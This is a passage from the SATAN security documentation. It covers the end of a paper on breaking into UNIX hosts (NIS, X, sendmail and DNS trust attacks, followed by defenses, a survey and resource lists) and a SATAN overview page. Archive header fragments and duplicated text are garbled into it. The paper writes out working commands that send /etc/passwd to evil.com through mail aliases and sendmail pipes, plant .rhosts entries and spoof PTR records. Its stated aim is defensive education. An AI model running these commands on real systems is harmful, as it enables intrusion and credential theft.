  6711. not in the server where it should be. Rexd security can be improved
  6712. somewhat by using secure RPC.
  6713.  
  6714. ----
  6715.  
  6716. While looking at the output from rpcinfo, you observe that victim.com
  6717. also seems to be a server for diskless workstations. This is evidenced
  6718. by the presence of the bootparam service, which provides information to
  6719. the diskless clients for booting.  If you ask nicely, using
  6720. BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
  6721. its NIS domainname.  This can be very useful when combined with the fact
  6722. that you can get arbitrary NIS maps (such as the password file) when you
  6723. know the NIS domainname.  Here is a sample code snippet to do just that
  6724. (bootparam is part of SATAN.)
  6725.  
  6726.     char   *server;
  6727.     struct bp_whoami_arg arg;           /* query */
  6728.     struct bp_whoami_res res;           /* reply */
  6729.  
  6730.     /* initializations omitted... */
  6731.  
  6732.     callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
  6733.             xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
  6734.  
  6735.     printf("%s has nisdomain %s\n", server, res.domain_name);
  6736.  
  6737. The showmount output indicated that "easy" is a diskless client of
  6738. victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
  6739. query:
  6740.  
  6741.  evil % bootparam victim.com easy.victim.com
  6742.  victim.com has nisdomain foo_bar
  6743.  
  6744. ----
  6745.  
  6746. NIS masters control the mail aliases for the NIS domain in question.
  6747. Just like local mail alias files, you can create a mail alias that will
  6748. execute commands when mail is sent to it (a once popular example of this
  6749. is the "decode" alias which uudecodes mail files sent to it.)  For
  6750. instance, here you create an alias "foo", which mails the password file
  6751. back to evil.com by simply mailing any message to it:
  6752.  
  6753.  nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
  6754.  nis-master # cd /var/yp
  6755.  nis-master # make aliases
  6756.  nis-master # echo test | mail -v foo@victim.com
  6757.  
  6758. Hopefully attackers won't have control of your NIS master host, but even
  6759. more hopefully the lesson is clear -- NIS is normally insecure, but if
  6760. an attacker has control of your NIS master, then s/he effectively has
  6761. control of the client hosts (e.g. can execute arbitrary commands).
  6762.  
  6763. There aren't many effective defenses against NIS attacks; it is an
  6764. insecure service that has almost no authentication between clients and
  6765. servers.  To make things worse, it seems fairly clear that arbitrary
  6766. maps can be forced onto even master servers (e.g., it is possible to
  6767. treat an NIS server as a client). This, obviously, would subvert the
  6768. entire schema.  If it is absolutely necessary to use NIS, choosing a
  6769. hard to guess domainname can help slightly, but if you run diskless
  6770. clients that are exposed to potential attackers then it is trivial for
  6771. an attacker to defeat this simple step by using the bootparam trick to
  6772. get the domainname.  If NIS is used to propagate the password maps, then
  6773. shadow passwords do not give additional protection because the shadow
  6774. map is still accessible to any attacker that has root on an attacking
  6775. host.  Better is to use NIS as little as possible, or to at least
  6776. realize that the maps can be subject to perusal by potentially hostile
  6777. forces.
  6778.  
  6779. Secure RPC goes a long way to diminish the threat, but it has its own
  6780. problems, primarily in that it is difficult to administer, but also in
  6781. that the cryptographic methods used within are not very strong.  It has
  6782. been rumored that NIS+, Sun's new network information service, fixes
  6783. some of these problems, but until now it has been limited to running on
  6784. Suns, and thus far has not lived up to the promise of the design.
  6785. Finally, using packet filtering (at the very least port 111) or
  6786. securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
  6787. all can help.
  6788.  
  6789. ----
  6790.  
  6791. </pre>
  6792. <a name="x-access">
  6793. <pre>
  6794.  
  6795. The portmapper only knows about RPC services.  Other network services
  6796. can be located with a brute-force method that connects to all network
  6797. ports.  Many network utilities and windowing systems listen to specific
  6798. ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is
  6799. usually on port 6000, etc.)  SATAN includes a program that scans the
  6800. ports of a remote hosts and reports on its findings; if you run it
  6801. against our target, you see:
  6802.  
  6803.  evil % tcpmap victim.com
  6804.  Mapping 128.128.128.1
  6805.  port 21: ftp
  6806.  port 23: telnet
  6807.  port 25: smtp
  6808.  port 37: time
  6809.  port 79: finger
  6810.  port 512: exec
  6811.  port 513: login
  6812.  port 514: shell
  6813.  port 515: printer
  6814.  port 6000: (X)
  6815.  
  6816. This suggests that victim.com is running X windows.  If not protected
  6817. properly (via the magic cookie or xhost mechanisms), window displays can
  6818. be captured or watched, user keystrokes may be stolen, programs executed
  6819. remotely, etc.  Also, if the target is running X and accepts a telnet to
  6820. port 6000, that can be used for a denial of service attack, as the
  6821. target's windowing system will often "freeze up" for a short period of
  6822. time.  One method to determine the vulnerability of an X server is to
  6823. connect to it via the XOpenDisplay() function; if the function returns
  6824. NULL then you cannot access the victim's display (opendisplay is part of
  6825. SATAN):
  6826.  
  6827.     char   *hostname;
  6828.  
  6829.     if (XOpenDisplay(hostname) == NULL) {
  6830.        printf("Cannot open display: %s\n", hostname);
  6831.     } else {
  6832.        printf("Can open display: %s\n", hostname);
  6833.     }
  6834.  
  6835.  evil % opendisplay victim.com:0
  6836.  Cannot open display: victim.com:0
  6837.  
  6838. X terminals, though much less powerful than a complete UNIX system, can
  6839. have their own security problems.  Many X terminals permit unrestricted
  6840. rsh access, allowing you to start X client programs in the victim's
  6841. terminal with the output appearing on your own screen:
  6842.  
  6843.  evil % xhost +xvictim.victim.com
  6844.  evil % rsh xvictim.victim.com telnet victim.com -display evil.com
  6845.  
  6846. In any case, give as much thought to your window security as your
  6847. filesystem and network utilities, for it can compromise your system as
  6848. surely as a "+" in your hosts.equiv or a passwordless (root) account.
  6849.  
  6850. ----
  6851.  
  6852. </pre>
  6853. <a name="sendmail">
  6854. <pre>
  6855.  
  6856. Next, you examine sendmail.  Sendmail is a very complex program that has
  6857. a long history of security problems, including the infamous "wiz"
  6858. command (hopefully long since disabled on all machines).  You can often
  6859. determine the OS, sometimes down to the version number, of the target,
  6860. by looking at the version number returned by sendmail.  This, in turn,
  6861. can give you hints as to how vulnerable it might be to any of the
  6862. numerous bugs.  In addition, you can see if they run the "decode" alias,
  6863. which has its own set of problems:
  6864.  
  6865.  evil % telnet victim.com 25
  6866.  connecting to host victim.com (128.128.128.1.), port 25
  6867.  connection open
  6868.  220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  6869.  expn decode
  6870.  250 <"|/usr/bin/uudecode">
  6871.  quit
  6872.  
  6873. Running the "decode" alias is a security risk -- it allows potential
  6874. attackers to overwrite any file that is writable by the owner of that
  6875. alias -- often daemon, but potentially any user.  Consider this piece of
  6876. mail -- this will place "evil.com" in user zen's .rhosts file if it is
  6877. writable:
  6878.  
  6879.  evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
  6880.  
  6881. If no home directories are known or writable, an interesting variation
  6882. of this is to create a bogus /etc/aliases.pag file that contains an
  6883. alias with a command you wish to execute on your target.  This may work
  6884. since on many systems the aliases.pag and aliases.dir files, which
  6885. control the system's mail aliases, are writable to the world.
  6886.  
  6887.  evil % cat decode
  6888.  bin: "| cat /etc/passwd | mail zen@evil.com"
  6889.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  6890.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
  6891.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  6892.  
  6893. A lot of things can be found out by just asking sendmail if an address
  6894. is acceptable (vrfy), or what an address expands to (expn).  When the
  6895. finger or rusers services are turned off, vrfy and expn can still be
  6896. used to identify user accounts or targets.  Vrfy and expn can also be
  6897. used to find out if the user is piping mail through any program that
  6898. might be exploited (e.g. vacation, mail sorters, etc.).  It can be a
  6899. good idea to disable the vrfy and expn commands: in most versions, look
  6900. at the source file srvrsmtp.c, and either delete or change the two lines
  6901. in the CmdTab structure that have the strings "vrfy" and "expn".  Sites
  6902. without source can still disable expn and vrfy by just editing the
  6903. sendmail executable with a binary editor and replacing "vrfy" and "expn"
  6904. with blanks.  Acquiring a recent version of sendmail (see Appendix D) is
  6905. also an extremely good idea, since there have probably been more
  6906. security bugs reported in sendmail than in any other UNIX program.
  6907.  
  6908. ----
  6909.  
  6910. As a sendmail-sendoff, there are two fairly well known bugs that should
  6911. be checked into.  The first was definitely fixed in version 5.59 from
  6912. Berkeley; despite the messages below, for versions of sendmail previous
  6913. to 5.59, the "evil.com" gets appended, despite the error messages, along
  6914. with all of the typical mail headers, to the file specified:
  6915.  
  6916.  % cat evil_sendmail
  6917.  telnet victim.com 25 << EOSM
  6918.  rcpt to: /home/zen/.rhosts
  6919.  mail from: zen
  6920.  data
  6921.  random garbage
  6922.  .
  6923.  rcpt to: /home/zen/.rhosts
  6924.  mail from: zen
  6925.  data
  6926.  evil.com
  6927.  .
  6928.  quit
  6929.  EOSM
  6930.  
  6931.  evil % /bin/sh evil_sendmail
  6932.  Trying 128.128.128.1
  6933.  Connected to victim.com
  6934.  Escape character is '^]'.
  6935.  Connection closed by foreign host.
  6936.  
  6937.  evil % rlogin victim.com -l zen
  6938. . Welcome to victim.com!
  6939.  victim %
  6940.  
  6941. The second hole, fixed only recently, permitted anyone to specify
  6942. arbitrary shell commands and/or pathnames for the sender and/or
  6943. destination address.  Attempts to keep details secret were in vain, and
  6944. extensive discussions in mailing lists and usenet news groups led to
  6945. disclosure of how to exploit some versions of the bug.  As with many
  6946. UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
  6947. since they all share a common source code tree ancestry.  Space
  6948. precludes us from discussing it fully, but a typical attack to get the
  6949. password file might look like this:
  6950.  
  6951.  evil % telnet victim.com 25
  6952.  Trying 128.128.128.1...
  6953.  Connected to victim.com
  6954.  Escape character is '^]'.
  6955.  220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
  6956.  mail from: "|/bin/mail zen@evil.com < /etc/passwd"
  6957.  250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
  6958.  rcpt to: nosuchuser
  6959.  550 nosuchuser... User unknown
  6960.  data
  6961.  354 Enter mail, end with "." on a line by itself
  6962.  .
  6963.  250 Mail accepted
  6964.  quit
  6965.  Connection closed by foreign host.
  6966.  evil %
  6967.  
  6968. At the time of writing, version 8.6.10 of sendmail (see Appendix D for
  6969. information on how to get this) is reportedly the only variant of
  6970. sendmail with all of the recent security bugs fixed.
  6971.  
  6972. Trust
  6973. -----
  6974.  
  6975. For our final topic of vulnerability, we'll digress from the practical
  6976. strategy we've followed previously to go a bit more into the theoretical
  6977. side, and briefly discuss the notion of trust.  The issues and
  6978. implications of vulnerabilities here are a bit more subtle and
  6979. far-reaching than what we've covered before; in the context of this
  6980. paper we use the word trust whenever there is a situation when a server
  6981. (note that any host that allows remote access can be called a server)
  6982. can permit a local resource to be used by a client without password
  6983. authentication when password authentication is normally required.  In
  6984. other words, we arbitrarily limit the discussion to clients in disguise.
  6985.  
  6986. There are many ways that a host can trust: .rhosts and hosts.equiv files
  6987. that allow access without password verification; window servers that
  6988. allow remote systems to use and abuse privileges; export files that
  6989. control access via NFS, and more.
  6990.  
  6991. Nearly all of these rely on client IP address to hostname conversion to
  6992. determine whether or not service is to be granted.  The simplest method
  6993. uses the /etc/hosts file for a direct lookup.  However, today most hosts
  6994. use either DNS (the Domain Name Service), NIS, or both for name lookup
  6995. service.  A reverse lookup occurs when a server has an IP address (from
  6996. a client host connecting to it) and wishes to get the corresponding
  6997. client hostname.
  6998.  
  6999. Although the concept of how host trust works is well understood by most
  7000. system administrators, the _dangers_ of trust, and the _practical_
  7001. problem it represents, irrespective of hostname impersonation, is one of
  7002. the least understood problems we know of on the Internet.  This goes far
  7003. beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
  7004. systems -- indeed, much of the useful services in UNIX are based on the
  7005. concept that well known (to an administrator or user) sites are trusted
  7006. in some way.  What is not understood is how networking so tightly binds
  7007. security between what are normally considered disjoint hosts.
  7008.  
  7009. Any form of trust can be spoofed, fooled, or subverted, especially when
  7010. the authority that gets queried to check the credentials of the client
  7011. is either outside of the server's administrative domain, or when the
  7012. trust mechanism is based on something that has a weak form of
  7013. authentication; both are usually the case.
  7014.  
  7015. Obviously, if the host containing the database (either NIS, DNS, or
  7016. whatever) has been compromised, the intruder can convince the target
  7017. host that s/he is coming from any trusted host; it is now sufficient to
  7018. find out which hosts are trusted by the target.  This task is often
  7019. greatly helped by examining where system administrators and system
  7020. accounts (such as root, etc.) last logged in from.  Going back to our
  7021. target, victim.com, you note that root and some other system accounts
  7022. logged in from big.victim.com. You change the PTR record for evil.com so
  7023. that when you attempt to rlogin in from evil.com to victim.com,
  7024. victim.com will attempt to look up your hostname and will find what you
  7025. placed in the record.  If the record in the DNS database looks like:
  7026.  
  7027.  1.192.192.192.in-addr.arpa     IN      PTR     evil.com
  7028.  
  7029. And you change it to:
  7030.  
  7031.  1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
  7032.  
  7033. then, depending on how naive victim.com's system software is, victim.com
  7034. will believe the login comes from big.victim.com, and, assuming that
  7035. big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
  7036. able to login without supplying a password.  With NIS, it is a simple
  7037. matter of either editing the host database on the NIS master (if this is
  7038. controlled by the intruder) or of spoofing or forcing NIS (see
  7039. discussion on NIS security above) to supply the target with whatever
  7040. information you desire.  Although more complex, interesting, and
  7041. damaging attacks can be mounted via DNS, time and space don't allow
  7042. coverage of these methods here.
  7043.  
  7044. Two methods can be used to prevent such attacks.  The first is the most
  7045. direct, but perhaps the most impractical.  If your site doesn't use any
  7046. trust, you won't be as vulnerable to host spoofing.  The other strategy
  7047. is to use cryptographic protocols.  Using the secure RPC protocol (used
  7048. in secure NFS, NIS+, etc.) is one method; although it has been "broken"
  7049. cryptographically, it still provides better assurance than RPC
  7050. authentication schemes that do not use any form of encryption.  Other
  7051. solutions, both hardware (smartcards) and software (Kerberos), are being
  7052. developed, but they are either incomplete or require changes to system
  7053. software.
  7054.  
  7055. Appendix B details the results of an informal survey taken from a
  7056. variety of hosts on the Internet.
  7057.  
  7058. Protecting the system
  7059. ---------------------
  7060.  
  7061. It is our hope that we have demonstrated that even some of the most
  7062. seemingly innocuous services run can offer (sometimes unexpectedly)
  7063. ammunition to determined system crackers.  But, of course, if security
  7064. were all that mattered, computers would never be turned on, let alone
  7065. hooked into a network with literally millions of potential intruders.
  7066. Rather than reiterating specific advice on what to switch on or off, we
  7067. instead offer some general suggestions:
  7068.  
  7069. o  If you cannot turn off the finger service, consider installing a
  7070. modified finger daemon.  It is rarely necessary to reveal a user's home
  7071. directory and the source of last login.
  7072.  
  7073. o  Don't run NIS unless it's absolutely necessary.  Use NFS as little
  7074. as possible.
  7075.  
  7076. o  Never export NFS filesystems unrestricted to the world. Try to
  7077. export file systems read-only where possible.
  7078.  
  7079. o  Fortify and protect servers (e.g. hosts that provide a service to
  7080. other hosts -- NFS, NIS, DNS, whatever.)  Only allow administrative
  7081. accounts on these hosts.
  7082.  
  7083. o  Examine carefully services offered by inetd and the portmapper.
  7084. Eliminate any that aren't explicitly needed.  Use Wietse Venema's inetd
  7085. wrappers, if for no other reason than to log the sources of connections
  7086. to your host.  This adds immeasurably to the standard UNIX auditing
  7087. features, especially with respect to network attacks.  If possible, use
  7088. the loghost mechanism of syslog to collect security-related information
  7089. on a secure host.
  7090.  
  7091. o  Eliminate trust unless there is an absolute need for it.  Trust is
  7092. your enemy.
  7093.  
  7094. o  Use shadow passwords and a passwd command that disallows poor
  7095. passwords.  Disable or delete unused/dormant system or user accounts.
  7096.  
  7097. o  Keep abreast of current literature (see our suggested reading list and
  7098. bibliography at the end of this paper) and security tools; communicate
  7099. to others about security problems and incidents.  At minimum, subscribe
  7100. to the CERT mailing list and phrack magazine (plus the firewalls mailing
  7101. list, if your site is using or thinking about installing a firewall) and
  7102. read the usenet security newsgroups to get the latest information on
  7103. security problems.  Ignorance is the deadliest security problem we are
  7104. aware of.
  7105.  
  7106. o  Install all vendor security patches as soon as possible, on all of
  7107. your hosts.  Examine security patch information for other vendors - many
  7108. bugs (rdist, sendmail) are common to many UNIX variants.
  7109.  
  7110. It is interesting to note that common solutions to security problems
  7111. such as running Kerberos or using one-time passwords or digital tokens
  7112. are ineffective against most of the attacks we discuss here.  We
  7113. heartily recommend the use of such systems, but be aware that they are
  7114. _not_ a total security solution -- they are part of a larger struggle to
  7115. defend your system.
  7116.  
  7117. Conclusions
  7118. -----------
  7119.  
  7120. Perhaps none of the methods shown here are surprising; when writing this
  7121. paper, we didn't learn very much about how to break into systems.  What
  7122. we _did_ learn was, while testing these methods out on our own systems
  7123. and that of friendly sites, just how effective this set of methods is
  7124. for gaining access to a typical (UNIX) Internet host.  Tiring of trying
  7125. to type these in all by hand, and desiring to keep our own systems more
  7126. secure, we decided to implement a security tool (SATAN) that attempts to
  7127. check remote hosts for at least some of the problems discussed here.
  7128. The typical response, when telling people about our paper and our tool
  7129. was something on the order of "that sounds pretty dangerous -- I hope
  7130. you're not going to give it out to everybody.  But you since you can
  7131. trust me, may I have a copy of it?"
  7132.  
  7133. We never set out to create a cookbook or toolkit of methods and programs
  7134. on how to break into systems -- instead, we saw that these same methods
  7135. were being used, every day, against ourselves and against friendly
  7136. system administrators.  We believe that by propagating information that
  7137. normally wasn't available to those outside of the underworld, we can
  7138. increase security by raising awareness.  Trying to restrict access to
  7139. "dangerous" security information has never seemed to be a very effective
  7140. method for increasing security; indeed, the opposite appears to be the
  7141. case, since the system crackers have shown little reticence to share
  7142. their information with each other.
  7143.  
  7144. While it is almost certain that some of the information presented here
  7145. is new material to (aspiring) system crackers, and that some will use it
  7146. to gain unauthorized entrance onto hosts, the evidence presented even by
  7147. our ad hoc tests shows that there is a much larger number of insecure
  7148. sites, simply because the system administrators don't know any better --
  7149. they aren't stupid or slow, they simply are unable to spend the very
  7150. little free time that they have to explore all of the security issues
  7151. that pertain to their systems.  Combine that with no easy access to this
  7152. sort of information and you have poorly defended systems.  We (modestly)
  7153. hope that this paper will provide badly-needed data on how systems are
  7154. broken into, and further, to explain _why_ certain steps should be taken
  7155. to secure a system.  Knowing why something is a problem is, in our
  7156. opinion, the real key to learning and to making an informed, intelligent
  7157. choice as to what security really means for your site.
  7158.  
  7159. ----
  7160.  
  7161. Appendix A:
  7162.  
  7163. SATAN (Security Analysis Tool for Auditing Networks)
  7164.  
  7165. Originally conceived some years ago, SATAN is actually the prototype of
  7166. a much larger and more comprehensive vision of a security tool.  In its
  7167. current incarnation, SATAN remotely probes and reports various bugs and
  7168. weaknesses in network services and windowing systems, as well as
  7169. detailing as much generally useful information as possible about the
  7170. target(s).  It then processes the data with a crude filter and what
  7171. might be termed an expert system to generate the final security
  7172. analysis.  While not particularly fast, it is extremely modular and easy
  7173. to modify.
  7174.  
  7175. SATAN consists of several sub-programs, each of which is an executable
  7176. file (perl, shell, compiled C binary, whatever) that tests a host for a
  7177. given potential weakness.  Adding further test programs is as simple as
  7178. putting an executable into the main directory with the extension ".satan";
  7179. the driver program will automatically execute it.  The driver generates
  7180. a set of targets (using DNS and a fast version of ping together to get
  7181. "live" targets), and then executes each of the programs over each of the
  7182. targets.  A data filtering/interpreting program then analyzes the
  7183. output, and lastly a reporting program digests everything into a more
  7184. readable format.
  7185.  
  7186. The entire package, including source code and documentation, has been
  7187. made freely available to the public, via anonymous ftp and by posting it
  7188. to one of the numerous source code groups on the Usenet.
  7189.  
  7190. ----
  7191.  
  7192. Appendix B:
  7193.  
  7194. An informal survey conducted on about a dozen Internet sites
  7195. (educational, military, and commercial, with over 200 hosts and 40000
  7196. accounts) revealed that on the average, close to 10 percent of a site's
  7197. accounts had .rhosts files.  These files averaged six trusted hosts
  7198. each; however, it was not uncommon to have well over one hundred entries
  7199. in an account's .rhosts file, and on a few occasions, the number was
  7200. over five hundred!  (This is not a record one should be proud of
  7201. owning.)  In addition, _every_ site directly on the internet (one site
  7202. was mostly behind a firewall) trusted a user or host at another site --
  7203. thus, the security of the site was not under the system administrators
  7204. direct control.  The larger sites, with more users and hosts, had a
  7205. lower percentage of users with .rhosts files, but the size of .rhosts
  7206. files increased, as well as the number of trusted off-site hosts.
  7207.  
  7208. Although it was very difficult to verify how many of the entries were
  7209. valid, with such hostnames such as "Makefile", "Message-Id:", and
  7210. "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
  7211. question the wisdom of putting a site's security in the hands of its
  7212. users.  Many users (especially the ones with larger .rhosts files)
  7213. attempted to put shell-style comments in their .rhosts files, which most
  7214. UNIX systems attempt to resolve as valid host names.  Unfortunately, an
  7215. attacker can then use the DNS and NIS hostname spoofing techniques
  7216. discussed earlier to set their hostname to "#" and freely log in.  This
  7217. puts a great many sites at risk (at least one major vendor ships their
  7218. systems with comments in their /etc/hosts.equiv files.)
  7219.  
  7220. You might think that these sites were not typical, and, as a matter of
  7221. fact, they weren't.  Virtually all of the administrators knew a great
  7222. deal about security and write security programs for a hobby or
  7223. profession, and many of the sites that they worked for did either
  7224. security research or created security products.  We can only guess at
  7225. what a "typical" site might look like.
  7226.  
  7227. ----
  7228.  
  7229. Appendix C:
  7230.  
  7231. After receiving mail from a site that had been broken into from one of
  7232. our systems, an investigation was started.  In time, we found that the
  7233. intruder was working from a list of ".com" (commercial) sites, looking
  7234. for hosts with easy-to steal password files.  In this case,
  7235. "easy-to-steal" referred to sites with a guessable NIS domainname and an
  7236. accessible NIS server.  Not knowing how far the intruder had gotten, it
  7237. looked like a good idea to warn the sites that were in fact vulnerable
  7238. to password file theft.  Of the 656 hosts in the intruder's hit list, 24
  7239. had easy-to-steal password files -- about one in twenty-five hosts!  One
  7240. third of these files contained at least one password-less account with
  7241. an interactive shell.  With a grand total of 1594 password-file entries,
  7242. a ten-minute run of a publically-available password cracker (Crack)
  7243. revealed more than 50 passwords, using nothing but a low-end Sun
  7244. workstation.  Another 40 passwords were found within the next 20
  7245. minutes; and a root password was found in just over an hour. The result
  7246. after a few days of cracking: five root passwords found, 19 out of 24
  7247. password files (eighty percent) with at least one known password, and
  7248. 259 of 1594 (one in six) passwords guessed.
  7249.  
  7250. ----
  7251.  
  7252. Appendix D:
  7253.  
  7254. How to get some free security resources on the Internet
  7255.  
  7256. Mailing lists:
  7257.  
  7258. o  The CERT (Computer Emergency Response Team) advisory mailing list.
  7259. Send e-mail to cert@cert.org, and ask to be placed on their mailing
  7260. list.
  7261.  
  7262. o  The Phrack newsletter.  Send an e-mail message to
  7263. phrack@well.sf.ca.us and ask to be added to the list.
  7264.  
  7265. o  The Firewalls mailing list.  Send the following line to
  7266. majordomo@greatcircle.com:
  7267.  
  7268.     subscribe firewalls
  7269.  
  7270. o  Computer Underground Digest.  Send e-mail to
  7271. tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.
  7272.  
  7273. Free Software:
  7274.  
  7275. COPS (Computer Oracle and Password System) is available via anonymous
  7276. ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.
  7277.  
  7278. The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl,
  7279. in pub/security.
  7280.  
  7281. Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.
  7282.  
  7283. TAMU is a UNIX auditing tool that is part of a larger suite of excellent
  7284. tools put out by a group at the Texas A&M University.  They can be
  7285. gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.
  7286.  
  7287. Sources for ftpd and many other network utilities can be found in
  7288. ftp.uu.net, in packages/bsd-sources.
  7289.  
  7290. Source for ISS (Internet Security Scanner), a tool that remotely scans
  7291. for various network vulnerabilities, is available via anonymous ftp from
  7292. ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
  7293.  
  7294. Securelib is available via anonymous ftp from ftp.uu.net, in
  7295. usenet/comp.sources.misc/volume36/securelib.
  7296.  
  7297. The latest version of berkeley sendmail is available via anonymous ftp
  7298. from ftp.cs.berkeley.edu, in ucb/sendmail.
  7299.  
  7300. Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
  7301. ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.
  7302.  
  7303. ----
  7304.  
  7305. Bibliography:
  7306.  
  7307. Baldwin, Robert W., Rule Based Analysis of Computer Security,
  7308. Massachusetts Institute of Technology, June 1987.
  7309.  
  7310. Bellovin, Steve, Using the Domain Name System for System Break-ins,
  7311. 1992 (unpublished).
  7312.  
  7313. Massachusetts Institute of Technology, X Window System Protocol,
  7314. Version 11, 1990.
  7315.  
  7316. Shimomura, Tsutomu, private communication.
  7317.  
  7318. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
  7319.  
  7320. ----
  7321.  
  7322. Suggested reading:
  7323.  
  7324. Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", 
  7325. Computer Communication Review 19 (2), 1989; a comment by Stephen
  7326. Kent appears in volume 19 (3), 1989.
  7327.  
  7328. Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security",
  7329. O'Reilly and Associates, Inc., 1992.
  7330.  
  7331. Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
  7332. Study: Network Information Service", Computer Communication Review
  7333. 22 (5) 1992.
  7334.  
  7335. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
  7336. Four, Issue Forty-Three, File 14 of 27.
  7337.  
  7338. Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
  7339. 1993.
  7340.  
  7341. Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
  7342. Protocal", Purdue University, August 1993.
  7343.  
  7344. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM
  7345. 27 (8), 1984.
  7346. </pre>
  7347. </BODY>
  7348. </HTML>
  7349. he
  7350. intruder was working from a list of ".com" (commercial) sites, looking
  7351. for hosts with easy-to steal password files.  In this case,
  7352. "easy-to-steal" referred to sites with a guessable NIS domainname and an
  7353. accessiblsatan-1.1.1/html/docs/satan_overview.html...........................................................   600 .   465 .   506 .       5517  5740027651  13525. ............................................................................................
  7354. .................................................................................................................................................................................................................................................................
  7355. .......<HTML>
  7356. <HEAD>
  7357. <title> SATAN Overview </title>
  7358. <LINK REV="made" HREF="mailto:satan@fish.com">
  7359. </HEAD>
  7360. <BODY>
  7361.  
  7362. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">  SATAN Overview </H1>
  7363. <H2>(Security Administrator Tool for Analyzing Networks)</H2>
  7364. <HR>
  7365.  
  7366. <OL>
  7367. <LI><A HREF="intro.html"><STRONG>Introduction</STRONG></A>
  7368. <OL>
  7369. <LI><A HREF="intro.html#what-is-satan">What is SATAN?</A>
  7370. <LI><A HREF="intro.html#who-should-use">Who should use it?</A>
  7371. <LI><A HREF="intro.html#how-does-it-work">How does it work?</A>
  7372. </OL>
  7373.  
  7374. <p>
  7375. <LI><A HREF="trust.html"><STRONG>The most important concept - trust</STRONG></A>
  7376.  
  7377. <p>
  7378. <LI><A HREF="getting_started.html"><STRONG>Getting started</STRONG></A>
  7379. <OL>
  7380. <LI><A HREF="getting_started.html#what-you-need">What you need to do to
  7381. .run SATAN even if you don't want to read documentation</A>
  7382. <LI><A HREF="getting_started.html#getting-n-compiling">Getting and compiling
  7383. .all those programs if you don't have them already</A>
  7384. <LI><A HREF="getting_started.html#satan-files">What are all the files for?</A>
  7385. </OL>
  7386.  
  7387. <p>
  7388. <LI><A HREF="system_requirements.html"><STRONG>System requirements</STRONG></A>
  7389. <OL>
  7390. <LI><A HREF="system_requirements.html#OS">OS</A>
  7391. <LI><A HREF="system_requirements.html#Hardware">Platform</A>
  7392. <LI><A HREF="system_requirements.html#diskspace">Disk space</A>
  7393. <LI><A HREF="system_requirements.html#memory">Memory</A>
  7394. <LI><A HREF="system_requirements.html#other-requirements">Required software tools</A>
  7395. </OL>
  7396.  
  7397. <p>
  7398. <LI><A HREF="dangers.html"><STRONG>Dangers of SATAN</STRONG></A>
  7399. <OL>
  7400. <LI><A HREF="dangers.html#leashing-satan">Controlling SATAN</A>
  7401. <LI><A HREF="dangers.html#boundary">Boundary issues - keeping track of where it goes</A>
  7402. <LI><A HREF="dangers.html#being-friendly">Being a very unfriendly neighbor</A>
  7403. <LI><A HREF="dangers.html#attack-or-not">Attacking vs. probing vs. scanning</A>
  7404. <LI><A HREF="dangers.html#legal">Legal problems with running SATAN</A>
  7405. </OL>
  7406. <p>
  7407. <LI><A HREF="design.html"><STRONG>Design goals</STRONG></A>
  7408. <OL>
  7409. <LI><A HREF="design.html#toolkit">Toolkit approach</A>
  7410. <LI><A HREF="design.html#speed-optimization">Speed/optimization</A>
  7411. </OL>
  7412. <p>
  7413. <LI><A HREF="philosophy.html"><STRONG>Philosophical Musings</STRONG></A>
  7414. <OL>
  7415. <LI><A HREF="philosophy.html#why-build">Why build it?</A>
  7416. <LI><A HREF="philosophy.html#why-scan">Why does it scan sites other than your own?</A>
  7417. <LI><A HREF="philosophy.html#white-hats">Why wasn't there a limited distribution, to only the "white hats"?</A>
  7418. <LI><A HREF="philosophy.html#future">Future directions</A>
  7419. </OL>
  7420.  
  7421. <p>
  7422. <LI><STRONG>References, Acknowledgements</STRONG>
  7423. <OL>
  7424. <LI><A HREF="acknowledgements.html">Acknowledgements and dedications</A>
  7425. <LI><A HREF="references.html">References</A>
  7426. <LI><A HREF="copyright.html">Copyright notice</A>
  7427. <LI><A HREF="authors.html">About the authors</A>
  7428. </OL>
  7429.  
  7430. <p>
  7431. <hr>
  7432. <a href="../satan_documentation.html"> Back to the Documentation TOC</a>
  7433.  
  7434. </BODY>
  7435. </HTML>
  7436. l,
  7437. Version 11, 1990.
  7438.  
  7439. Shimomura, Tsutomu, private communication.
  7440.  
  7441. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
  7442.  
  7443. ----
  7444.  
  7445. Suggested reading:
  7446.  
  7447. Bellovin, Steve -- "satan-1.1.1/html/dots/..............................................................................   700 .   465 .   506 .          0  5742521541   7524. .................................................................................
